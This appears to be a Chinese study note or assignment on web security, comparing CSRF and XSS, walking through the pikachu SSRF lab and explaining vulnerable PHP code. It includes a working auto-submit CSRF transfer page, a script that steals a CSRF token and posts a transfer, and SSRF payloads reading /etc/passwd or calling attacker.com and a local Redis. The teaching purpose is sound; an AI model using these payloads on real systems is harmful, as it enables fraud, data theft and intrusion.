1.总结CSRF和XSS区别
攻击原理:
-
CSRF: 利用用户已登录的身份,在用户不知情的情况下执行未授权的操作。
-
XSS: 向网页注入恶意脚本,使其在用户浏览器中执行。
攻击目标:
-
CSRF: 主要针对服务器端,诱导服务器执行非预期操作。
-
XSS: 主要针对客户端,窃取用户信息或执行恶意操作。
利用方式:
-
CSRF: 通常需要用户点击特制链接或访问恶意网站。
-
XSS: 通过在目标网站注入恶意代码实现。
防御措施:
-
CSRF: 使用anti-CSRF令牌、验证Referer头、使用SameSite Cookie等。
-
XSS: 输入验证、输出编码、使用Content Security Policy(CSP)等。
危害程度:
-
CSRF: 可能导致未授权操作,如转账、更改密码等。
-
XSS: 可能窃取用户敏感信息,如Cookie、密码等。
2.总结CSRF攻击步骤
用户登录: 用户登录合法网站A,获得身份认证(通常是Cookie)。
保持会话: 用户在未登出网站A的情况下,保持会话活跃。
诱导访问: 攻击者诱使用户访问恶意网站B。这可能通过钓鱼邮件、社交媒体链接等方式实现。
触发请求: 恶意网站B中包含了向网站A发送请求的代码。这可能是一个自动提交的表单、一个图片标签的src属性等。
携带凭证: 浏览器在发送请求到网站A时,自动携带了用户的身份凭证(Cookie)。
服务器处理: 网站A的服务器收到请求,验证了用户的身份凭证,认为是合法用户的操作。
执行操作: 服务器执行了请求中的操作,如转账、修改密码等,而这些操作实际上是未经用户授权的。
攻击完成: 在用户不知情的情况下,攻击者通过CSRF成功地让服务器执行了非预期的操作。
3.总结CSRF手工构造POST型页面方法
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>CSRF POST Attack Example</title> </head> <body οnlοad="document.forms[0].submit()"> <form action="https://target-website.com/transfer" method="POST"> <input type="hidden" name="amount" value="1000"> <input type="hidden" name="to" value="attacker-account"> </form> <p>This page will automatically submit a form to transfer money.</p> </body> </html>
创建HTML结构: 设置基本的HTML结构,包括<!DOCTYPE>、<html>、<head>和<body>标签。
设置页面标题: 在<head>标签中使用<title>标签设置一个不引人注意的标题。
创建表单: 在<body>中创建一个<form>元素,设置action属性为目标网站的URL,method属性为"POST"。
添加隐藏字段: 使用<input type="hidden">添加所需的表单字段。这些字段的name和value应该匹配目标操作所需的参数。
自动提交: 在<body>标签上添加onload事件,使表单在页面加载完成后自动提交。 例如: <body οnlοad="document.forms[0].submit()">
添加可选的视觉元素: 可以添加一些文本或图片来迷惑用户或解释页面的"合法"用途。
诱导用户访问: 将构造好的HTML保存为.html文件,然后诱导受害者访问这个页面。
4.说明token类CSRF利用方法
<!DOCTYPE html> <html> <body> <script> // 第一步:获取包含token的页面 fetch('https://victim-site.com/form') .then(response => response.text()) .then(html => { // 第二步:提取token const tokenMatch = html.match(/name="csrf_token" value="([^"]+)"/); if (tokenMatch) { const csrfToken = tokenMatch[1]; // 第三步:构造并发送带有token的恶意请求 const formData = new FormData(); formData.append('csrf_token', csrfToken); formData.append('amount', '1000'); formData.append('to', 'attacker-account'); fetch('https://victim-site.com/transfer', { method: 'POST', body: formData, credentials: 'include' }); } }); </script> </body> </html>
识别token机制:
-
首先,攻击者需要了解目标网站使用的是什么类型的CSRF token机制。
-
通常,token会在表单中作为隐藏字段出现。
获取有效token:
-
攻击者需要想办法获取一个有效的CSRF token。
-
这可能通过以下方式实现: a) 利用XSS漏洞直接从页面获取token。 b) 利用其他漏洞(如CORS配置错误)从API响应中获取token。 c) 诱导用户访问攻击者控制的页面,该页面会请求包含token的目标页面。
构造攻击页面:
-
创建一个HTML页面,包含JavaScript代码来执行以下操作: a) 请求包含token的目标页面。 b) 从响应中提取CSRF token。 c) 构造带有有效token的恶意请求。 d) 自动发送这个请求。
绕过同源策略:
-
如果目标站点实施了严格的同源策略,攻击者可能需要利用其他漏洞(如JSONP漏洞)来绕过这些限制。
考虑token时效性:
-
一些网站的CSRF token可能有时间限制。
-
攻击者可能需要实时获取token并快速使用。
处理会话相关性:
-
如果token与用户会话相关,攻击者可能需要诱导用户在新标签页中打开攻击页面,以维持相同的会话上下文。
诱导用户触发:
-
最后,攻击者需要诱导目标用户访问构造好的攻击页面。
5.SSRF常用伪协议
file:// 用于访问服务器本地文件系统。例如: file:///etc/passwd
dict:// 用于与DICT协议服务器交互,可能导致信息泄露。例如: dict://attacker.com:11111/
gopher:// 非常强大的协议,可以发送精心构造的数据包。例如: gopher://127.0.0.1:6379/_SET%20mykey%20myvalue
http:// 和 https:// 最常见的协议,用于访问内部网络资源。
ftp:// 和 sftp:// 用于与FTP服务器交互,可能导致未授权访问。
ldap:// 和 ldaps:// 用于与LDAP服务器交互,可能导致信息泄露。
tftp:// 用于与TFTP服务器交互。
smb:// 和 cifs:// 用于访问Windows文件共享。
jar:// 和 jar:http:// 用于读取JAR文件内容。
netdoc:// Java特有协议,类似file协议。
6.SSRF pikachu靶场通关
一:
点击链接,弹出小诗,发现url中出现了传递url参数的url
使用file协议查看本地文件C:\Windows\System32\drivers\etc\hosts的内容
二:
利用file协议读取一下本地文件
7.SSRF靶场通关时根据源代码说明漏洞成因(加分项)
一:
if(isset($_GET['url']) && $_GET['url'] != null){ //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF $URL = $_GET['url']; $CH = curl_init($URL); curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES = curl_exec($CH); curl_close($CH) ; //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。 //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP echo $RES; }
拿到前端用户输入的url
没有做任何过滤,直接对这个url中的内容当成参数去请求资源
没有做任何处理直接在前端显示
二:
if(isset($_GET['file']) && $_GET['file'] !=null){ $filename = $_GET['file']; $str = file_get_contents($filename); echo $str; }
拿到前端用户输入的url
没有做任何过滤,直接对这个url中的内容当成参数去读取文件
没有做任何处理直接将读取的内容在前端显示